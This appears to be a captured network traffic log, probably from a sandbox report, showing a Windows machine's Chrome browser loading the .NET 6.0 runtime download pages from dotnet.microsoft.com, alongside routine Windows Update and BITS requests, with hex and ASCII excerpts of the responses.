2024-11-23 20:11:19 UTC	744	OUT	GET /download/dotnet/6.0/runtime?cid=getdotnetcore&runtime=desktop&os=windows&arch=x64 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:19 UTC	715	IN	HTTP/1.1 302 Found Date: Sat, 23 Nov 2024 20:11:19 GMT Content-Length: 0 Connection: close Cache-Control: no-store Location: /download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Set-Cookie: TiPMix=74.4357451529307; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201119Z-174c587ffdfb485jhC1TEBmc1s00000003ag00000000327m X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 20:11:20 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=220862 Date: Sat, 23 Nov 2024 20:11:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 20:11:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:21 UTC	751	OUT	GET /download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:22 UTC	771	IN	HTTP/1.1 302 Found Date: Sat, 23 Nov 2024 20:11:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store Location: /en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Set-Cookie: TiPMix=50.81609556358028; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201121Z-178bfbc474bw8bwphC1NYC38b400000004u00000000072y0 X-Cache: CONFIG_NOCACHE
2024-11-23 20:11:22 UTC	15613	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 20 6d 65 74 61 20 74 61 67 20 66 6f 72 20 64 69 66 66 65 72 65 6e 74 69 61 74 65 20 65 6e 76 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 65 6e 76 22 20 63 6f 6e 74 65 6e 74 3d 22 50 72 6f 64 75 63 74 69 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 73 74 61 74 69 63 2f 66 6f 6e 74 73 2f 73 70 61 63 65 2d 67 72 6f 74 65 73 6b 2d 76 31 32 2d 6c 61 74 69 6e 2d Data Ascii: 4000<!DOCTYPE html><html lang="en-US" ><head> <meta charset="utf-8"> ... Custom meta tag for differentiate env --> <meta name="env" content="Production" /> <link rel="preload" href="/static/fonts/space-grotesk-v12-latin-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DGcxpd6N9a4u5Ff&MD=YzNwarnv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 20:11:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d7fceec9-5b9c-44f4-adee-90b105db7712 MS-RequestId: 83ac1fff-57eb-4e61-b5ae-2203b20e0483 MS-CV: lxCOuohvy0++/m0k.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 20:11:23 GMT Connection: close Content-Length: 24490
2024-11-23 20:11:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 20:11:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:24 UTC	757	OUT	GET /en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:25 UTC	661	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store Set-Cookie: TiPMix=92.70852637025628; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201124Z-178bfbc474bbcwv4hC1NYCypys00000004vg0000000050er X-Cache: CONFIG_NOCACHE
2024-11-23 20:11:25 UTC	15723	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 20 6d 65 74 61 20 74 61 67 20 66 6f 72 20 64 69 66 66 65 72 65 6e 74 69 61 74 65 20 65 6e 76 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 65 6e 76 22 20 63 6f 6e 74 65 6e 74 3d 22 50 72 6f 64 75 63 74 69 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 73 74 61 74 69 63 2f 66 6f 6e 74 73 2f 73 70 61 63 65 2d 67 72 6f 74 65 73 6b 2d 76 31 32 2d 6c 61 74 69 6e 2d Data Ascii: 4000<!DOCTYPE html><html lang="en-US" ><head> <meta charset="utf-8"> ... Custom meta tag for differentiate env --> <meta name="env" content="Production" /> <link rel="preload" href="/static/fonts/space-grotesk-v12-latin-
2024-11-23 20:11:25 UTC	669	IN	Data Raw: 20 35 2e 38 31 38 37 38 4c 32 31 2e 39 31 39 32 20 35 2e 39 30 38 39 4c 32 31 2e 39 35 37 39 20 35 2e 39 39 39 32 32 4c 32 31 2e 39 37 37 20 36 2e 30 36 33 33 4c 32 31 2e 39 39 30 36 20 36 2e 31 32 37 33 4c 32 32 20 36 2e 32 32 31 35 4c 32 32 2e 30 30 30 34 20 31 33 2e 37 35 33 39 43 32 32 2e 30 30 30 34 20 31 34 2e 31 36 38 31 20 32 31 2e 36 36 34 37 20 31 34 2e 35 30 33 39 20 32 31 2e 32 35 30 34 20 31 34 2e 35 30 33 39 43 32 30 2e 38 37 30 38 20 31 34 2e 35 30 33 39 20 32 30 2e 35 35 37 20 31 34 2e 32 32 31 37 20 32 30 2e 35 30 37 33 20 31 33 2e 38 35 35 37 4c 32 30 2e 35 30 30 34 20 31 33 2e 37 35 33 39 4c 32 30 2e 35 20 38 2e 30 35 39 4c 31 32 2e 37 38 31 32 20 31 35 2e 37 37 39 33 43 31 32 2e 35 31 34 39 20 31 36 2e 30 34 35 35 20 31 32 2e 30 39 38 Data Ascii: 5.81878L21.9192 5.9089L21.9579 5.99922L21.977 6.0633L21.9906 6.1273L22 6.2215L22.0004 13.7539C22.0004 14.1681 21.6647 14.5039 21.2504 14.5039C20.8708 14.5039 20.557 14.2217 20.5073 13.8557L20.5004 13.7539L20.5 8.059L12.7812 15.7793C12.5149 16.0455 12.098
2024-11-23 20:11:25 UTC	16384	IN	Data Raw: 36 66 66 32 0d 0a 3e 20 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 62 61 63 6b 65 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 30 20 32 30 22 3e 20 3c 70 61 74 68 20 64 3d 22 4d 31 37 2e 35 20 34 48 31 36 56 33 43 31 36 20 31 2e 33 34 33 20 31 34 2e 36 35 37 20 30 20 31 33 20 30 48 37 43 35 2e 33 34 33 20 30 20 34 20 31 2e 33 34 33 20 34 20 33 56 34 48 32 2e 35 43 31 2e 31 31 39 20 34 20 30 20 35 2e 31 31 39 20 30 20 36 2e 35 56 31 34 2e 35 43 30 20 31 35 2e 38 38 31 20 31 2e 31 31 39 20 31 37 20 32 2e 35 20 31 37 48 34 43 34 20 31 38 2e 36 35 37 20 35 2e 33 34 33 20 32 30 20 37 20 32 30 48 31 33 43 31 34 2e 36 35 37 20 32 30 20 31 36 20 31 38 2e 36 35 37 20 31 36 20 31 37 48 31 37 2e 35 43 31 38 2e 38 38 31 20 31 37 20 32 30 Data Ascii: 6ff2> </symbol><symbol id="backend" viewBox="0 0 20 20"> <path d="M17.5 4H16V3C16 1.343 14.657 0 13 0H7C5.343 0 4 1.343 4 3V4H2.5C1.119 4 0 5.119 0 6.5V14.5C0 15.881 1.119 17 2.5 17H4C4 18.657 5.343 20 7 20H13C14.657 20 16 18.657 16 17H17.5C18.881 17 20
2024-11-23 20:11:25 UTC	12282	IN	Data Raw: 2d 37 37 74 2d 32 33 2d 37 36 71 2d 33 2d 32 2d 36 2d 32 74 2d 37 20 30 71 2d 33 35 20 30 2d 37 31 20 39 74 2d 37 30 20 32 35 2d 36 37 20 33 34 2d 36 31 20 33 39 71 2d 31 32 36 2d 33 35 2d 32 35 36 2d 33 35 74 2d 32 35 36 20 33 35 71 2d 32 39 2d 31 39 2d 36 31 2d 33 38 74 2d 36 37 2d 33 34 2d 37 30 2d 32 35 2d 37 31 2d 31 30 68 2d 36 71 2d 33 20 30 2d 37 20 32 2d 31 34 20 33 37 2d 32 32 20 37 35 74 2d 39 20 37 38 71 30 20 33 30 20 35 20 36 30 74 31 36 20 35 38 71 2d 35 34 20 35 37 2d 37 39 20 31 32 37 74 2d 32 36 20 31 34 38 71 30 20 31 32 30 20 32 39 20 32 30 39 74 38 37 20 31 35 30 20 31 34 35 20 39 38 20 32 30 35 20 34 39 71 2d 32 39 20 32 36 2d 34 34 20 36 32 74 2d 32 31 20 37 35 71 2d 32 37 20 31 33 2d 35 37 20 32 30 74 2d 36 30 20 37 71 2d 34 37 20 Data Ascii: -77t-23-76q-3-2-6-2t-7 0q-35 0-71 9t-70 25-67 34-61 39q-126-35-256-35t-256 35q-29-19-61-38t-67-34-70-25-71-10h-6q-3 0-7 2-14 37-22 75t-9 78q0 30 5 60t16 58q-54 57-79 127t-26 148q0 120 29 209t87 150 145 98 205 49q-29 26-44 62t-21 75q-27 13-57 20t-60 7q-47
2024-11-23 20:11:25 UTC	16384	IN	Data Raw: 61 30 30 37 0d 0a 35 2e 34 31 34 39 56 31 2e 35 5a 22 2f 3e 20 3c 70 61 74 68 20 64 3d 22 4d 31 20 31 2e 35 48 32 32 2e 35 38 35 56 32 33 2e 30 38 35 48 31 56 31 2e 35 5a 22 2f 3e 20 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 62 72 61 6e 64 2d 73 74 61 63 6b 6f 76 65 72 66 6c 6f 77 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 20 3c 70 61 74 68 20 64 3d 22 4d 32 31 2e 38 35 34 34 20 32 35 2e 30 31 31 37 48 39 2e 30 38 31 30 35 56 32 32 2e 36 33 35 32 48 32 31 2e 38 35 34 34 56 32 35 2e 30 31 31 37 5a 4d 32 31 2e 37 34 33 34 20 32 31 2e 38 39 31 34 4c 39 2e 33 33 34 34 20 31 39 2e 33 32 37 31 4c 39 2e 38 34 35 39 31 20 31 36 2e 38 38 38 38 4c 32 32 2e 32 35 34 39 20 31 39 2e 34 35 33 31 4c 32 31 2e 37 34 33 34 20 32 Data Ascii: a0075.4149V1.5Z"/> <path d="M1 1.5H22.585V23.085H1V1.5Z"/> </symbol><symbol id="brand-stackoverflow" viewBox="0 0 36 36"> <path d="M21.8544 25.0117H9.08105V22.6352H21.8544V25.0117ZM21.7434 21.8914L9.3344 19.3271L9.84591 16.8888L22.2549 19.4531L21.7434 2
2024-11-23 20:11:25 UTC	16384	IN	Data Raw: 20 31 38 20 38 2e 37 35 20 31 38 48 31 37 2e 37 35 43 31 38 2e 31 36 34 32 20 31 38 20 31 38 2e 35 20 31 37 2e 36 36 34 32 20 31 38 2e 35 20 31 37 2e 32 35 56 34 2e 32 35 43 31 38 2e 35 20 33 2e 38 33 35 37 39 20 31 38 2e 31 36 34 32 20 33 2e 35 20 31 37 2e 37 35 20 33 2e 35 5a 22 2f 3e 20 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 63 73 68 61 72 70 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 33 20 31 36 22 3e 20 3c 70 61 74 68 20 64 3d 22 4d 31 2e 35 20 34 2e 35 56 31 31 2e 35 43 31 2e 35 20 31 33 2e 31 35 34 20 32 2e 38 34 36 20 31 34 2e 35 20 34 2e 35 20 31 34 2e 35 43 36 2e 31 35 34 20 31 34 2e 35 20 37 2e 35 20 31 33 2e 31 35 34 20 37 2e 35 20 31 31 2e 35 43 37 2e 35 20 31 31 2e 30 38 36 20 37 2e 38 33 36 20 31 30 2e 37 35 20 Data Ascii: 18 8.75 18H17.75C18.1642 18 18.5 17.6642 18.5 17.25V4.25C18.5 3.83579 18.1642 3.5 17.75 3.5Z"/> </symbol><symbol id="csharp" viewBox="0 0 23 16"> <path d="M1.5 4.5V11.5C1.5 13.154 2.846 14.5 4.5 14.5C6.154 14.5 7.5 13.154 7.5 11.5C7.5 11.086 7.836 10.75
2024-11-23 20:11:25 UTC	8207	IN	Data Raw: 5a 4d 35 20 31 37 2e 35 43 35 2e 38 32 38 34 33 20 31 37 2e 35 20 36 2e 35 20 31 38 2e 31 37 31 36 20 36 2e 35 20 31 39 43 36 2e 35 20 31 39 2e 38 32 38 34 20 35 2e 38 32 38 34 33 20 32 30 2e 35 20 35 20 32 30 2e 35 43 34 2e 31 37 31 35 37 20 32 30 2e 35 20 33 2e 35 20 31 39 2e 38 32 38 34 20 33 2e 35 20 31 39 43 33 2e 35 20 31 38 2e 31 37 31 36 20 34 2e 31 37 31 35 37 20 31 37 2e 35 20 35 20 31 37 2e 35 5a 4d 31 32 20 31 30 2e 35 43 31 32 2e 38 32 38 34 20 31 30 2e 35 20 31 33 2e 35 20 31 31 2e 31 37 31 36 20 31 33 2e 35 20 31 32 43 31 33 2e 35 20 31 32 2e 38 32 38 34 20 31 32 2e 38 32 38 34 20 31 33 2e 35 20 31 32 20 31 33 2e 35 43 31 31 2e 31 37 31 36 20 31 33 2e 35 20 31 30 2e 35 20 31 32 2e 38 32 38 34 20 31 30 2e 35 20 31 32 43 31 30 2e 35 20 31 31 Data Ascii: ZM5 17.5C5.82843 17.5 6.5 18.1716 6.5 19C6.5 19.8284 5.82843 20.5 5 20.5C4.17157 20.5 3.5 19.8284 3.5 19C3.5 18.1716 4.17157 17.5 5 17.5ZM12 10.5C12.8284 10.5 13.5 11.1716 13.5 12C13.5 12.8284 12.8284 13.5 12 13.5C11.1716 13.5 10.5 12.8284 10.5 12C10.5 11
2024-11-23 20:11:25 UTC	16384	IN	Data Raw: 62 66 66 39 0d 0a 31 35 2e 32 35 56 36 2e 32 35 43 31 38 2e 35 20 34 2e 34 35 35 30 37 20 31 37 2e 30 34 34 39 20 33 20 31 35 2e 32 35 20 33 48 36 2e 32 35 5a 4d 34 2e 35 20 36 2e 32 35 43 34 2e 35 20 35 2e 32 38 33 35 20 35 2e 32 38 33 35 20 34 2e 35 20 36 2e 32 35 20 34 2e 35 48 31 35 2e 32 35 43 31 36 2e 32 31 36 35 20 34 2e 35 20 31 37 20 35 2e 32 38 33 35 20 31 37 20 36 2e 32 35 56 31 35 2e 32 35 43 31 37 20 31 35 2e 34 38 31 32 20 31 36 2e 39 35 35 32 20 31 35 2e 37 30 31 38 20 31 36 2e 38 37 33 38 20 31 35 2e 39 30 33 38 4c 31 32 2e 32 38 36 37 20 31 31 2e 36 31 32 38 43 31 31 2e 34 32 31 37 20 31 30 2e 38 30 33 36 20 31 30 2e 30 37 37 35 20 31 30 2e 38 30 33 36 20 39 2e 32 31 32 35 32 20 31 31 2e 36 31 32 38 4c 34 2e 36 32 36 30 32 20 31 35 2e 39 Data Ascii: bff915.25V6.25C18.5 4.45507 17.0449 3 15.25 3H6.25ZM4.5 6.25C4.5 5.2835 5.2835 4.5 6.25 4.5H15.25C16.2165 4.5 17 5.2835 17 6.25V15.25C17 15.4812 16.9552 15.7018 16.8738 15.9038L12.2867 11.6128C11.4217 10.8036 10.0775 10.8036 9.21252 11.6128L4.62602 15.9
2024-11-23 20:11:25 UTC	16384	IN	Data Raw: 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 20 3c 70 61 74 68 20 64 3d 22 4d 35 2e 37 34 36 20 33 61 31 2e 37 35 20 31 2e 37 35 20 30 20 30 20 30 2d 31 2e 37 35 20 31 2e 37 35 76 31 34 2e 35 63 30 20 2e 39 36 36 2e 37 38 34 20 31 2e 37 35 20 31 2e 37 35 20 31 2e 37 35 68 33 2e 35 61 31 2e 37 35 20 31 2e 37 35 20 30 20 30 20 30 20 31 2e 37 35 2d 31 2e 37 35 56 34 2e 37 35 41 31 2e 37 35 20 31 2e 37 35 20 30 20 30 20 30 20 39 2e 32 34 36 20 33 68 2d 33 2e 35 5a 4d 31 34 2e 37 34 36 20 33 61 31 2e 37 35 20 31 2e 37 35 20 30 20 30 20 30 2d 31 2e 37 35 20 31 2e 37 35 76 31 34 2e 35 63 30 20 2e 39 36 36 2e 37 38 34 20 31 2e 37 35 20 31 2e 37 35 20 31 2e 37 35 68 33 2e 35 61 31 2e 37 35 20 31 2e 37 35 20 30 20 30 20 30 20 31 2e 37 35 2d 31 2e 37 35 56 34 2e Data Ascii: Box="0 0 24 24"> <path d="M5.746 3a1.75 1.75 0 0 0-1.75 1.75v14.5c0 .966.784 1.75 1.75 1.75h3.5a1.75 1.75 0 0 0 1.75-1.75V4.75A1.75 1.75 0 0 0 9.246 3h-3.5ZM14.746 3a1.75 1.75 0 0 0-1.75 1.75v14.5c0 .966.784 1.75 1.75 1.75h3.5a1.75 1.75 0 0 0 1.75-1.75V4.
2024-11-23 20:11:25 UTC	16384	IN	Data Raw: 30 36 33 4c 31 39 2e 39 39 39 34 20 36 2e 37 34 39 38 35 4c 31 39 2e 39 39 38 35 20 31 30 2e 35 30 30 39 4c 31 38 2e 30 30 30 39 20 31 30 2e 35 30 31 43 31 37 2e 32 35 37 33 20 31 30 2e 35 30 31 20 31 36 2e 36 33 34 37 20 31 31 2e 30 34 34 32 20 31 36 2e 35 32 31 20 31 31 2e 37 34 4c 31 36 2e 35 30 35 37 20 31 31 2e 38 37 32 32 4c 31 36 2e 35 30 30 39 20 31 32 2e 30 30 31 43 31 36 2e 35 30 30 39 20 31 32 2e 37 34 34 36 20 31 37 2e 30 34 34 31 20 31 33 2e 33 36 37 32 20 31 37 2e 37 34 20 31 33 2e 34 38 30 39 4c 31 37 2e 38 37 32 31 20 31 33 2e 34 39 36 32 4c 31 38 2e 30 30 30 39 20 31 33 2e 35 30 31 4c 31 39 2e 39 39 38 35 20 31 33 2e 35 30 30 39 4c 31 39 2e 39 39 39 34 20 31 37 2e 32 35 32 33 43 31 39 2e 39 39 39 34 20 31 38 2e 31 37 30 35 20 31 39 2e 32 Data Ascii: 063L19.9994 6.74985L19.9985 10.5009L18.0009 10.501C17.2573 10.501 16.6347 11.0442 16.521 11.74L16.5057 11.8722L16.5009 12.001C16.5009 12.7446 17.0441 13.3672 17.74 13.4809L17.8721 13.4962L18.0009 13.501L19.9985 13.5009L19.9994 17.2523C19.9994 18.1705 19.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	714	OUT	GET /static/css/bootstrap-custom.min.css?v=1bpqJkhBrO8vf5QShbYWqAyD97CGYCmfS57-s3YdDzw HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:28 UTC	750	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:27 GMT Content-Type: text/css Content-Length: 244128 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c734cdca0" Last-Modified: Fri, 22 Nov 2024 22:18:26 GMT Set-Cookie: TiPMix=90.19434150513086; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201127Z-15b8b599d88hd9g7hC1TEBp75c000000038g00000000mz6f X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
